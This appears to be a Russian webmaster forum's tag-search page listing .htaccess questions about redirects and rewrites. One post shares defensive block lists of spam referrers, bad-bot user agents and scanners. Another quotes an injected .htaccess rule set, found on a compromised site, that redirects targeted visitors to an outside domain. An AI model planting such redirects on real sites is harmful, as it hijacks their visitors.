Поиск по сайту

Результаты поиска по тегам 'htaccess'.

  • Поиск по тегам

    Введите теги через запятую.
  • Поиск по автору

Тип публикаций


Категории и разделы

  • Поисковые системы
    • Поисковая оптимизация
    • Яндекс
    • Google
    • Другие поисковики
    • SMO
    • Каталоги
    • Инструкции и уроки
  • Основные форумы
    • Новости
    • Контекстная реклама
    • Партнерские программы
    • Сервисы, программы и скрипты
    • Дизайн
    • Домены
    • Биржа сайтов
    • Сайтостроительство
    • Хостинг
    • Финансы
    • Разное
    • Конкурсы
  • Работа
    • Правила раздела
    • Дизайн
    • Копирайт/Рерайт
    • SEO
    • SMO/SMM
    • Программирование
    • Разное
  • Другое
    • О нас
    • Black List
    • White List
    • Оффтопик

Найдено 21 результат

  1. Вечер добрый. Есть url site.ru/articles/blog/articlename Подскажите как правильно убрать blog
  2. Всем доброго времени суток! Ковыряю один проектец и стопорнулся на мелочи, как обычно)) Нужен редирект в htacess по условию наличия в ссылке определенного слова, пока придумал вот такую хреновину, но она не робит((RewriteRule ^/sapogi(.*)$ http://site.ru/ [R=301,L]*Нужно, чтобы все посетители по ссылкам, типа: http://site.ru/sapogi-blablabla (а таких ссылок несколько десятков тышшш) улетали на указанную мной ссылку http://site.ru/ PS - "sapogi" - это не категория, не рубрика, просто часть слова в ссылке, в преобладающем большинстве в самом начале ссылки, сразу после домена.
  3. Приветствую, ребята. Решил защититься от ненужных (плохих в данном контексте) пауков/роботов, чтобы снизить нагрузку на сайт, всё равно от них толку-то нет. В интернете, конечно, инфа есть, но возникли вопросы, да и мнение Форумчан интересно. Для начала выложу решения, чтобы было с чем работать. Надеюсь, общими силами сможем списки таких ботов расширить. Итак, один из подобных списков: # Блокируем плохие домены RewriteEngine on RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?anonym.to/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?anonym.to.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?anonyme.ru/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?anonyme.ru.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?priceg.com.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?ilovevitaly.com.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?ilovevitaly.com/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?cenoval.ru/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?cenoval.ru.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?darodar.com.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?darodar.com/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?urls.topdownloads.ru/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?urls.topdownloads.ru.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?topdownloads.ru/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?topdownloads.ru.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?ftns.ru.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?ftns.ru/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?forum.advokateg.ru/topic/888/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?vodkoved.ru.*$ [NC,OR] RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?site.name.tr/.*$ [NC] Options All -Indexes RewriteEngine on # Блокируем плохие боты SetEnvIfNoCase User-Agent "Aboundex" bad_bot SetEnvIfNoCase User-Agent "80legs" bad_bot SetEnvIfNoCase User-Agent "360Spider" bad_bot SetEnvIfNoCase User-Agent "^Java" bad_bot SetEnvIfNoCase User-Agent "^Cogentbot" bad_bot SetEnvIfNoCase User-Agent "^Alexibot" bad_bot SetEnvIfNoCase User-Agent "^asterias" bad_bot SetEnvIfNoCase User-Agent "^attach" bad_bot SetEnvIfNoCase User-Agent "^BackDoorBot" bad_bot SetEnvIfNoCase User-Agent "^BackWeb" bad_bot SetEnvIfNoCase User-Agent "Bandit" bad_bot SetEnvIfNoCase User-Agent "^BatchFTP" bad_bot SetEnvIfNoCase User-Agent "^Bigfoot" bad_bot SetEnvIfNoCase User-Agent "^Black.Hole" bad_bot SetEnvIfNoCase User-Agent "^BlackWidow" bad_bot SetEnvIfNoCase User-Agent "^BlowFish" bad_bot SetEnvIfNoCase User-Agent "^BotALot" bad_bot SetEnvIfNoCase User-Agent "Buddy" bad_bot SetEnvIfNoCase User-Agent "^BuiltBotTough" bad_bot SetEnvIfNoCase User-Agent "^Bullseye" bad_bot SetEnvIfNoCase User-Agent "^BunnySlippers" bad_bot SetEnvIfNoCase User-Agent "^Cegbfeieh" bad_bot SetEnvIfNoCase User-Agent "^CheeseBot" bad_bot SetEnvIfNoCase User-Agent "^CherryPicker" bad_bot SetEnvIfNoCase User-Agent "^ChinaClaw" bad_bot SetEnvIfNoCase User-Agent "Collector" bad_bot SetEnvIfNoCase User-Agent "Copier" bad_bot SetEnvIfNoCase User-Agent "^CopyRightCheck" bad_bot SetEnvIfNoCase User-Agent "^cosmos" bad_bot SetEnvIfNoCase User-Agent "^Crescent" bad_bot SetEnvIfNoCase User-Agent "^Custo" bad_bot SetEnvIfNoCase User-Agent "^AIBOT" bad_bot SetEnvIfNoCase User-Agent "^DISCo" bad_bot SetEnvIfNoCase User-Agent "^DIIbot" bad_bot SetEnvIfNoCase User-Agent "^DittoSpyder" bad_bot SetEnvIfNoCase User-Agent "^Download\ Demon" bad_bot SetEnvIfNoCase User-Agent "^Download\ Devil" bad_bot SetEnvIfNoCase User-Agent "^Download\ Wonder" bad_bot SetEnvIfNoCase User-Agent "^dragonfly" bad_bot SetEnvIfNoCase User-Agent "^Drip" bad_bot SetEnvIfNoCase User-Agent "^eCatch" bad_bot SetEnvIfNoCase User-Agent "^EasyDL" bad_bot SetEnvIfNoCase User-Agent "^ebingbong" bad_bot SetEnvIfNoCase User-Agent "^EirGrabber" bad_bot SetEnvIfNoCase User-Agent "^EmailCollector" bad_bot SetEnvIfNoCase User-Agent "^EmailSiphon" bad_bot SetEnvIfNoCase User-Agent "^EmailWolf" bad_bot SetEnvIfNoCase User-Agent "^EroCrawler" bad_bot SetEnvIfNoCase User-Agent "^Exabot" bad_bot SetEnvIfNoCase User-Agent "^Express\ WebPictures" bad_bot SetEnvIfNoCase User-Agent "Extractor" bad_bot SetEnvIfNoCase User-Agent "^EyeNetIE" bad_bot SetEnvIfNoCase User-Agent "^Foobot" bad_bot SetEnvIfNoCase User-Agent "^flunky" bad_bot SetEnvIfNoCase User-Agent "^FrontPage" bad_bot SetEnvIfNoCase User-Agent "^Go-Ahead-Got-It" bad_bot SetEnvIfNoCase User-Agent "^gotit" bad_bot SetEnvIfNoCase User-Agent "^GrabNet" bad_bot SetEnvIfNoCase User-Agent "^Grafula" bad_bot SetEnvIfNoCase User-Agent "^Harvest" bad_bot SetEnvIfNoCase User-Agent "^hloader" bad_bot SetEnvIfNoCase User-Agent "^HMView" bad_bot SetEnvIfNoCase User-Agent "^HTTrack" bad_bot SetEnvIfNoCase User-Agent "^humanlinks" bad_bot SetEnvIfNoCase User-Agent "^IlseBot" bad_bot SetEnvIfNoCase User-Agent "^Image\ Stripper" bad_bot SetEnvIfNoCase User-Agent "^Image\ Sucker" bad_bot SetEnvIfNoCase User-Agent "Indy\ Library" bad_bot SetEnvIfNoCase User-Agent "^InfoNaviRobot" bad_bot SetEnvIfNoCase User-Agent "^InfoTekies" bad_bot SetEnvIfNoCase User-Agent "^Intelliseek" bad_bot SetEnvIfNoCase User-Agent "^InterGET" bad_bot SetEnvIfNoCase User-Agent "^Internet\ Ninja" bad_bot SetEnvIfNoCase User-Agent "^Iria" bad_bot SetEnvIfNoCase User-Agent "^Jakarta" bad_bot SetEnvIfNoCase User-Agent "^JennyBot" bad_bot SetEnvIfNoCase User-Agent "^JetCar" bad_bot SetEnvIfNoCase User-Agent "^JOC" bad_bot SetEnvIfNoCase User-Agent "^JustView" bad_bot SetEnvIfNoCase User-Agent "^Jyxobot" bad_bot SetEnvIfNoCase User-Agent "^Kenjin.Spider" bad_bot SetEnvIfNoCase User-Agent "^Keyword.Density" bad_bot SetEnvIfNoCase User-Agent "^larbin" bad_bot SetEnvIfNoCase User-Agent "^LexiBot" bad_bot SetEnvIfNoCase User-Agent "^lftp" bad_bot SetEnvIfNoCase User-Agent "^libWeb/clsHTTP" bad_bot SetEnvIfNoCase User-Agent "^likse" bad_bot SetEnvIfNoCase User-Agent "^LinkextractorPro" bad_bot SetEnvIfNoCase User-Agent "^LinkScan/8.1a.Unix" bad_bot SetEnvIfNoCase User-Agent "^LNSpiderguy" bad_bot SetEnvIfNoCase User-Agent "^LinkWalker" bad_bot SetEnvIfNoCase User-Agent "^lwp-trivial" bad_bot SetEnvIfNoCase User-Agent "^LWP::Simple" bad_bot SetEnvIfNoCase User-Agent "^Magnet" bad_bot SetEnvIfNoCase User-Agent "^Mag-Net" bad_bot SetEnvIfNoCase User-Agent "^MarkWatch" bad_bot SetEnvIfNoCase User-Agent "^Mass\ Downloader" bad_bot SetEnvIfNoCase User-Agent "^Mata.Hari" bad_bot SetEnvIfNoCase User-Agent "^Memo" bad_bot SetEnvIfNoCase User-Agent "^Microsoft.URL" bad_bot SetEnvIfNoCase User-Agent "^Microsoft\ URL\ Control" bad_bot SetEnvIfNoCase User-Agent "^MIDown\ tool" bad_bot SetEnvIfNoCase User-Agent "^MIIxpc" bad_bot SetEnvIfNoCase User-Agent "^Mirror" bad_bot SetEnvIfNoCase User-Agent "^Missigua\ Locator" bad_bot SetEnvIfNoCase User-Agent "^Mister\ PiX" bad_bot SetEnvIfNoCase User-Agent "^moget" bad_bot SetEnvIfNoCase User-Agent "^Mozilla/3.Mozilla/2.01" bad_bot SetEnvIfNoCase User-Agent "^Mozilla.*NEWT" bad_bot SetEnvIfNoCase User-Agent "^NAMEPROTECT" bad_bot SetEnvIfNoCase User-Agent "^Navroad" bad_bot SetEnvIfNoCase User-Agent "^NearSite" bad_bot SetEnvIfNoCase User-Agent "^NetAnts" bad_bot SetEnvIfNoCase User-Agent "^Netcraft" bad_bot SetEnvIfNoCase User-Agent "^NetMechanic" bad_bot SetEnvIfNoCase User-Agent "^NetSpider" bad_bot SetEnvIfNoCase User-Agent "^Net\ Vampire" bad_bot SetEnvIfNoCase User-Agent "^NetZIP" bad_bot SetEnvIfNoCase User-Agent "^NextGenSearchBot" bad_bot SetEnvIfNoCase User-Agent "^NG" bad_bot SetEnvIfNoCase User-Agent "^NICErsPRO" bad_bot SetEnvIfNoCase User-Agent "^niki-bot" bad_bot SetEnvIfNoCase User-Agent "^NimbleCrawler" bad_bot SetEnvIfNoCase User-Agent "^Ninja" bad_bot SetEnvIfNoCase User-Agent "^NPbot" bad_bot SetEnvIfNoCase User-Agent "^Octopus" bad_bot SetEnvIfNoCase User-Agent "^Offline\ Explorer" bad_bot SetEnvIfNoCase User-Agent "^Offline\ Navigator" bad_bot SetEnvIfNoCase User-Agent "^Openfind" bad_bot SetEnvIfNoCase User-Agent "^OutfoxBot" bad_bot SetEnvIfNoCase User-Agent "^PageGrabber" bad_bot SetEnvIfNoCase User-Agent "^Papa\ Foto" bad_bot SetEnvIfNoCase User-Agent "^pavuk" bad_bot SetEnvIfNoCase User-Agent "^pcBrowser" bad_bot SetEnvIfNoCase User-Agent "^PHP\ version\ tracker" bad_bot SetEnvIfNoCase User-Agent "^Pockey" bad_bot SetEnvIfNoCase User-Agent "^ProPowerBot/2.14" bad_bot SetEnvIfNoCase User-Agent "^ProWebWalker" bad_bot SetEnvIfNoCase User-Agent "^psbot" bad_bot SetEnvIfNoCase User-Agent "^Pump" bad_bot SetEnvIfNoCase User-Agent "^QueryN.Metasearch" bad_bot SetEnvIfNoCase User-Agent "^RealDownload" bad_bot SetEnvIfNoCase User-Agent "Reaper" bad_bot SetEnvIfNoCase User-Agent "Recorder" bad_bot SetEnvIfNoCase User-Agent "^ReGet" bad_bot SetEnvIfNoCase User-Agent "^RepoMonkey" bad_bot SetEnvIfNoCase User-Agent "^RMA" bad_bot SetEnvIfNoCase User-Agent "Siphon" bad_bot SetEnvIfNoCase User-Agent "^SiteSnagger" bad_bot SetEnvIfNoCase User-Agent "^SlySearch" bad_bot SetEnvIfNoCase User-Agent "^SmartDownload" bad_bot SetEnvIfNoCase User-Agent "^Snake" bad_bot SetEnvIfNoCase User-Agent "^Snapbot" bad_bot SetEnvIfNoCase User-Agent "^Snoopy" bad_bot SetEnvIfNoCase User-Agent "^sogou" bad_bot SetEnvIfNoCase User-Agent "^SpaceBison" bad_bot SetEnvIfNoCase User-Agent "^SpankBot" bad_bot SetEnvIfNoCase User-Agent "^spanner" bad_bot SetEnvIfNoCase User-Agent "^Sqworm" bad_bot SetEnvIfNoCase User-Agent "Stripper" bad_bot SetEnvIfNoCase User-Agent "Sucker" bad_bot SetEnvIfNoCase User-Agent "^SuperBot" bad_bot SetEnvIfNoCase User-Agent "^SuperHTTP" bad_bot SetEnvIfNoCase User-Agent "^Surfbot" bad_bot SetEnvIfNoCase User-Agent "^suzuran" bad_bot SetEnvIfNoCase User-Agent "^Szukacz/1.4" bad_bot SetEnvIfNoCase User-Agent "^tAkeOut" bad_bot SetEnvIfNoCase User-Agent "^Teleport" bad_bot SetEnvIfNoCase User-Agent "^Telesoft" bad_bot SetEnvIfNoCase User-Agent "^TurnitinBot/1.5" bad_bot SetEnvIfNoCase User-Agent "^The.Intraformant" bad_bot SetEnvIfNoCase User-Agent "^TheNomad" bad_bot SetEnvIfNoCase User-Agent "^TightTwatBot" bad_bot SetEnvIfNoCase User-Agent "^Titan" bad_bot SetEnvIfNoCase User-Agent "^True_Robot" bad_bot SetEnvIfNoCase User-Agent "^turingos" bad_bot SetEnvIfNoCase User-Agent "^TurnitinBot" bad_bot SetEnvIfNoCase User-Agent "^URLy.Warning" bad_bot SetEnvIfNoCase User-Agent "^Vacuum" bad_bot SetEnvIfNoCase User-Agent "^VCI" bad_bot SetEnvIfNoCase User-Agent "^VoidEYE" bad_bot SetEnvIfNoCase User-Agent "^Web\ Image\ Collector" bad_bot SetEnvIfNoCase User-Agent "^Web\ Sucker" bad_bot SetEnvIfNoCase User-Agent "^WebAuto" bad_bot SetEnvIfNoCase User-Agent "^WebBandit" bad_bot SetEnvIfNoCase User-Agent "^Webclipping.com" bad_bot SetEnvIfNoCase User-Agent "^WebCopier" bad_bot SetEnvIfNoCase User-Agent "^WebEMailExtrac.*" bad_bot SetEnvIfNoCase User-Agent "^WebEnhancer" bad_bot SetEnvIfNoCase User-Agent "^WebFetch" bad_bot SetEnvIfNoCase User-Agent "^WebGo\ IS" bad_bot SetEnvIfNoCase User-Agent "^Web.Image.Collector" bad_bot SetEnvIfNoCase User-Agent "^WebLeacher" bad_bot SetEnvIfNoCase User-Agent "^WebmasterWorldForumBot" bad_bot SetEnvIfNoCase User-Agent "^WebReaper" bad_bot SetEnvIfNoCase User-Agent "^WebSauger" bad_bot SetEnvIfNoCase User-Agent "^Website\ eXtractor" bad_bot SetEnvIfNoCase User-Agent "^Website\ Quester" bad_bot SetEnvIfNoCase User-Agent "^Webster" bad_bot SetEnvIfNoCase User-Agent "^WebStripper" bad_bot SetEnvIfNoCase User-Agent "^WebWhacker" bad_bot SetEnvIfNoCase User-Agent "^WebZIP" bad_bot SetEnvIfNoCase User-Agent "Whacker" bad_bot SetEnvIfNoCase User-Agent "^Widow" bad_bot SetEnvIfNoCase User-Agent "^WISENutbot" bad_bot SetEnvIfNoCase User-Agent "^WWWOFFLE" bad_bot SetEnvIfNoCase User-Agent "^WWW-Collector-E" bad_bot SetEnvIfNoCase User-Agent "^Xaldon" bad_bot SetEnvIfNoCase User-Agent "^Xenu" bad_bot SetEnvIfNoCase User-Agent "^Zeus" bad_bot SetEnvIfNoCase User-Agent "ZmEu" bad_bot SetEnvIfNoCase User-Agent "^Zyborg" bad_bot # Блокируем плохие сканеры SetEnvIfNoCase User-Agent "Acunetix" bad_bot SetEnvIfNoCase User-Agent "FHscan" bad_bot # Блокируем ненужные поисковики SetEnvIfNoCase User-Agent "Baiduspider" bad_bot <Limit GET POST HEAD> Order Allow,Deny Allow from all # Блокируем плохие IP deny from 38.100.19.8/29 deny from 38.100.21.0/24 deny from 38.100.41.64/26 deny from 38.105.71.0/25 deny from 38.105.83.0/27 deny from 38.112.21.140/30 deny from 38.118.42.32/29 deny from 65.213.208.128/27 deny from 65.222.176.96/27 deny from 65.222.185.72/29 Deny from env=bad_bot </Limit> Вот ещё видео https://youtu.be/dvjcrCaIUzg Также постоянно редактируемый список таких ботов от HackRepair.com http://pastebin.com/5Hw9KZnW Далее в плагине для Wordpress под названием All in One SEO Pack есть модуль Bad Bot Blocker, который на уровне PHP или htaccess запрещает доступ к сайту по определенным правилам (можно менять), по дефолту выглядит так для htaccess: # BEGIN Bad Bot Blocker SetEnvIfNoCase User-Agent "Abonti|aggregator|AhrefsBot|asterias|BDCbot|BLEXBot|BuiltBotTough|Bullseye|BunnySlippers|ca\-crawler|CCBot|Cegbfeieh|CheeseBot|CherryPicker|CopyRightCheck|cosmos|Crescent|discobot|DittoSpyder|DOC|DotBot|Download Ninja|EasouSpider|EmailCollector|EmailSiphon|EmailWolf|EroCrawler|Exabot|ExtractorPro|Fasterfox|FeedBooster|Foobot|Genieo|grub\-client|Harvest|hloader|httplib|HTTrack|humanlinks|ieautodiscovery|InfoNaviRobot|IstellaBot|Java/1\.|JennyBot|k2spider|Kenjin Spider|Keyword Density/0\.9|larbin|LexiBot|libWeb|libwww|LinkextractorPro|linko|LinkScan/8\.1a Unix|LinkWalker|LNSpiderguy|lwp\-trivial|magpie|Mata Hari|MaxPointCrawler|MegaIndex|Microsoft URL Control|MIIxpc|Mippin|Missigua Locator|Mister PiX|MJ12bot|moget|MSIECrawler|NetAnts|NICErsPRO|Niki\-Bot|NPBot|Nutch|Offline Explorer|Openfind|panscient\.com|PHP/5\.\{|ProPowerBot/2\.14|ProWebWalker|Python\-urllib|QueryN Metasearch|RepoMonkey|RMA|SemrushBot|SeznamBot|SISTRIX|sitecheck\.Internetseer\.com|SiteSnagger|SnapPreviewBot|Sogou|SpankBot|spanner|spbot|Spinn3r|suzuran|Szukacz/1\.4|Teleport|Telesoft|The Intraformant|TheNomad|TightTwatBot|Titan|toCrawl/UrlDispatcher|True_Robot|turingos|TurnitinBot|UbiCrawler|UnisterBot|URLy Warning|VCI|WBSearchBot|Web Downloader/6\.9|Web Image Collector|WebAuto|WebBandit|WebCopier|WebEnhancer|WebmasterWorldForumBot|WebReaper|WebSauger|Website Quester|Webster Pro|WebStripper|WebZip|Wotbox|wsr\-agent|WWW\-Collector\-E|Xenu|yandex|Zao|Zeus|ZyBORG|coccoc|Incutio|lmspider|memoryBot|SemrushBot|serf|Unknown|uptime files" bad_bot SetEnvIfNoCase Referer "Abonti|aggregator|AhrefsBot|asterias|BDCbot|BLEXBot|BuiltBotTough|Bullseye|BunnySlippers|ca\-crawler|CCBot|Cegbfeieh|CheeseBot|CherryPicker|CopyRightCheck|cosmos|Crescent|discobot|DittoSpyder|DOC|DotBot|Download Ninja|EasouSpider|EmailCollector|EmailSiphon|EmailWolf|EroCrawler|Exabot|ExtractorPro|Fasterfox|FeedBooster|Foobot|Genieo|grub\-client|Harvest|hloader|httplib|HTTrack|humanlinks|ieautodiscovery|InfoNaviRobot|IstellaBot|Java/1\.|JennyBot|k2spider|Kenjin Spider|Keyword Density/0\.9|larbin|LexiBot|libWeb|libwww|LinkextractorPro|linko|LinkScan/8\.1a Unix|LinkWalker|LNSpiderguy|lwp\-trivial|magpie|Mata Hari|MaxPointCrawler|MegaIndex|Microsoft URL Control|MIIxpc|Mippin|Missigua Locator|Mister PiX|MJ12bot|moget|MSIECrawler|NetAnts|NICErsPRO|Niki\-Bot|NPBot|Nutch|Offline Explorer|Openfind|panscient\.com|PHP/5\.\{|ProPowerBot/2\.14|ProWebWalker|Python\-urllib|QueryN Metasearch|RepoMonkey|RMA|SemrushBot|SeznamBot|SISTRIX|sitecheck\.Internetseer\.com|SiteSnagger|SnapPreviewBot|Sogou|SpankBot|spanner|spbot|Spinn3r|suzuran|Szukacz/1\.4|Teleport|Telesoft|The Intraformant|TheNomad|TightTwatBot|Titan|toCrawl/UrlDispatcher|True_Robot|turingos|TurnitinBot|UbiCrawler|UnisterBot|URLy Warning|VCI|WBSearchBot|Web Downloader/6\.9|Web Image Collector|WebAuto|WebBandit|WebCopier|WebEnhancer|WebmasterWorldForumBot|WebReaper|WebSauger|Website Quester|Webster Pro|WebStripper|WebZip|Wotbox|wsr\-agent|WWW\-Collector\-E|Xenu|yandex|Zao|Zeus|ZyBORG|coccoc|Incutio|lmspider|memoryBot|SemrushBot|serf|Unknown|uptime files" bad_bot Deny from env=bad_bot # END Bad Bot Blocker Запись уже другая, какая-то более компактная. Сразу скажу, при активации этих дефолтных параметров через секунд 20 пришло извещение от Метрики, что пауку отдаётся 403 ошибка. Хочу, в общем, эту тему разобрать, особенно с помощью htaccess, так как кеш работает через него. Особенно это актуально для сайтов с большим количеством страниц, потому что даже если посещалка маленькие, пауки нагружают сайт вхолостую. Также исключив таких пауков можно сделать статистку в Метрики и Аналистике более точной (так ведь?), так как такие роботы дают всегда 100% отказов. Ну и теперь сами вопросы: 1) Защищаетесь ли вы от "плохих" роботов. Если "Да", то какими путями? 2) При включении этих правил в htaccess, его размер увеличивается до 15кб и выше. Не создаст ли это большую нагрузку, чем было с роботами? 3) Какой метод более правильный из приведенных в статье, если есть вообще в данном случае понятие правильности. Рад буду услышать мнения специалистов, дополнения. Если тема интересна, то может будем обновлять список?
  4. Подскажите, что значит такая запись в аксессе <Files ~ "\.tpl$"> Order allow,deny Deny from all </Files Это запрет доступа ко всем файлам с расширением .tpl ?
  5. Добрый день! Помогите пожалуйста настроить файл htaccess. Нужно,чтобы ссылки вида: site.ru/2016/03/raz-dva.html?m=1 стали в виде: site.ru/2016/03/raz-dva.html а, ссылки вида site.ru/feeds/721945 перекидывало на главную страницу.
  6. Привет всем! Нужно переместить 11 страниц с одного сайта на другой и сделать редирект. Как это сделать в принципе понятно, но есть вопрос, нужно ли после редиректа удалять урлы старого сайта из Вебмастера Яндекса и Гугла? И если нужно то когда их надо удалять? Ведь если я их сразу удалю, то и редирект окажется бессмысленным. И когда на новом сайте добавлять эти же урлы в Вебмастер Яндекса и Гугла? Если я их сразу добавлю, не расценится ли это как копипаст? Может кто объяснить подробней?
  7. Здравствуйте. Помогите сделать правильный редирект со старых страниц через htaccess Старые адреса http:// сайт.ру/music/bass+music.html Нужно сменить на новые http:/// сайт.ру/search/bass music
  8. Всем доброго утра! Буквально несколько слов предистории: в 2011 создал каталог и рейтинг сайтов похожий на все обычные... со счётчиком, который устанавливался в html код. Но это не давало всех тех возможностей, которые мне понадобились в этом году! Теперь к делу! Имеется несколько сайтов с хорошей посещаемостью, соответственно у поисковиков и не только у них появляется интерес к ним. И каждый из них начинает заходить и просматривать сайт вне зависимости просил я его или нет. В итоге от некоторых просто нет никакого толку, результат нагрузка на сервер. Запрет доступа через robots.txt помогает, но не всегда. Решил сделать статистику чем-то похожую на AWStats, только для любого сайта в реальном времени и чтобы места на ваших сайтах не занимала и была независима от сайта статистики. Возможно, вы замечали при установке счетчика от какого-то рейтинга, если сайт этого самого счетчика недоступен, то и на вашем сайте элементы страницы подгружаются с задержкой. Да, может кому-то это и не понравится, но счётчик нужно встроить в саму CMS (инструкция будет при добавлении сайта). Но данную статистику я реализовал именно так. По защите: код файлов, который будет размещаться у вас на сайте, написан таким образом, что при попытке изменить или получить доступ к файлам будет сразу же блокироваться при первой же попытке и без возможности снятия этих ограничений (на работу сайта это не влияет). Суть сбора статистики. Все обращения будут сохраняться у вас на сайте, наш скрипт в запланированное время (каждую минуту) будет эту статистику забирать и очищать (сайт и наш скрипт независимы друг от друга, тоесть ваш сайт живет своей жизнью, а наш своей). Возможности. После добавления сайта вы сможете просматривать статистику за последние несколько дней, неделю и месяц. Подробнее будут доступны: переходы посетителей с: доменов, страниц, IP; просмотренные страницы: посетителями, роботами; по роботам: список роботов, выявление роботов, история посещений и User-Agent и IP каждого из них; % отказов; доступность сайта (Uptime) с возможностью просмотреть какие ошибки выдал ваш сайт. И самое главное! Это возможность запрета доступа к сайту по IP, Referer и User-Agent без обращения к .htaccess. Вам не придется ломать голову как заблокировать тот же рефспам, который на сейчас частенько достаёт многие сайты. Оставляйте комментарии, задавайте вопросы, постараюсь на них ответить! Собственно сам сайт: http://gigabase.com.ua/
  9. Здравствуйте . На сайте стали появляться дубли категорий , сайт на dle ( тех поддержки что то мямлит но тут спросить надежнее ) От robots.txt толку мало гугл все ровно их видит . Решил избавится от них с помощью htaccess и понял что я в этом полный 0 ... Нашёл статью где автор рассказывал убирания дублей категорий..... Вот код RewriteRule ^(.*)/page/d+/$ $1/ [R=301,L] RewriteRule ^(.*)page/d+/$ $1/ [R=301,L] ................................................................................................ Подскажите пожалуйста поможет ли это избавиться от дублей ?
  10. Доброго всем времени суток. Подскажите, как при помощи .htaccess прописать ссылку и сделать из https://talk.pr-cy.ru/text/ в https://talk.pr-cy.ru/catalog/text Нужно вписать дополнительно адрес каталога и сделать 301 редирект. Заранее всем спасибо за помочь.
  11. Добрый день, всегда было туго с регулярными выражениями. Не подскажете? Нужно, чтобы все url типа: http:/ /site .ru/tovar/01111/ редиректились сюда http://site.ru/tovar/1111/ Причем количество нулей может быть любое. Обрезать нужно все нули, спасибо!)
  12. Делаю редирект в .htaccess по типу: Redirect 301 /20-page1.html http://сайт.рф/page1.html - работет всё отлично. Но тут у меня выскочила страница вида http://сайт.рф/production.html?id=10 Пытаюсь ее перенаправить, но не выходит Redirect 301 /production.html?id=10 http://заводтары.рф/catalog/b-u-poddony-pallety.html - перенаправление не срабатывает. Печему?
  13. Человек собрал коллекцию различных сниппетов для .htaccess и выложил информацию на githab Мне показалось, что данные примеры будут полезны для веб-мастеров, не сочтите за рекламу. https://github.com/phanan/htaccess
  14. Странную вещь обнаружил на одном из своих сайтов. В файле htaccess в самом конце нашёл вот это: --------------------------------------------- RewriteEngine on RewriteCond %{REMOTE_ADDR} ^217\.118\.95\.(9[6-9]|1([0-1][0-9]|2[0-7]))$ [NC,OR] RewriteCond %{REMOTE_ADDR} ^217\.118\.95\.(6[4-9]|[7-8][0-9]|9[0-5])$ [NC,OR] RewriteCond %{REMOTE_ADDR} ^85\.115\.248\.(1(2[8-9]|[3-9][0-9])|2([0-4][0-9]|5[0-5]))$ [NC,OR] RewriteCond %{REMOTE_ADDR} ^85\.115\.248\.([0-9]|[1-9][0-9]|1([0-1][0-9]|2[0-7]))$ [NC,OR] RewriteCond %{REMOTE_ADDR} ^89\.188\.224\.(1(3[6-9]|4[0-3]))$ [NC,OR] RewriteCond %{REMOTE_ADDR} ^85\.115\.248\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$ [NC,OR] ... и ещё штук 500 аналогичных строк, а далее: RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC] RewriteCond %{HTTP_USER_AGENT} !bsd [NC] RewriteCond %{HTTP_USER_AGENT} !x11 [NC] RewriteCond %{HTTP_USER_AGENT} !unix [NC] RewriteCond %{HTTP_USER_AGENT} !macintosh [NC] RewriteCond %{HTTP_USER_AGENT} !playstation [NC] RewriteCond %{HTTP_USER_AGENT} !bot [NC] RewriteCond %{HTTP_USER_AGENT} !libwww [NC] RewriteCond %{HTTP_USER_AGENT} !msn [NC] RewriteCond %{HTTP_USER_AGENT} !fdm [NC] RewriteCond %{HTTP_USER_AGENT} !maui [NC] RewriteCond %{HTTP_USER_AGENT} !webmoney [NC] RewriteCond %{HTTP_USER_AGENT} !primeport [NC] RewriteCond %{HTTP_USER_AGENT} !mxagent [NC] RewriteCond %{HTTP_USER_AGENT} !greenbrowser [NC] RewriteCond %{HTTP_USER_AGENT} !muncher [NC] RewriteCond %{HTTP_USER_AGENT} !btwebclien [NC] RewriteCond %{HTTP_USER_AGENT} !download [NC] RewriteCond %{HTTP_USER_AGENT} !ipad [NC] RewriteRule ^(.*)$ http://perchinka.me/?key=352970b073bfbc5 [L,R=302] -------------------------------------------- Очевидно, идёт перенаправление для ряда IP-адресов на эту "перчинку". Но каким образом это сделано и куда копать? Остальные сайты на хостинге без изменений. Кстати, могу добавить, что недавно произвёл обновление CMS DLE на этом сайте с 10.0 до 10.3. Версия официальная, всё как положено.
  15. И опять привет! Вопрос дня для меня сегодня такой: Есть домен. На него в корневую папку повесили сайт, какая-то простая CMS, а теперь еще хочу добавить в него форум, и чтобы этот форум без проблем открывался по адресу: site.ru/forum/ но вместо нормального открытия я вижу: The requested URL /forum/ was not found on this server. Как мне грамотно настроить, чтобы CMS не мешала форуму открываться?
  16. В последнее время появилась пачка ошибок и письма, что робот Google не может получить доступ к сайту ... Ломится он по оригинальному адресу http://мой_сайт/: вполне естественно, что его выкидывает на страницу ошибки, о чем он мне дружелюбно сообщает, заколебал уже. Как можно редиректнуть его с этого двоеточия в корень сайта через htaccess? Уже по разному пробовал, туплю, не получается. Подскажите плиз кто чем может
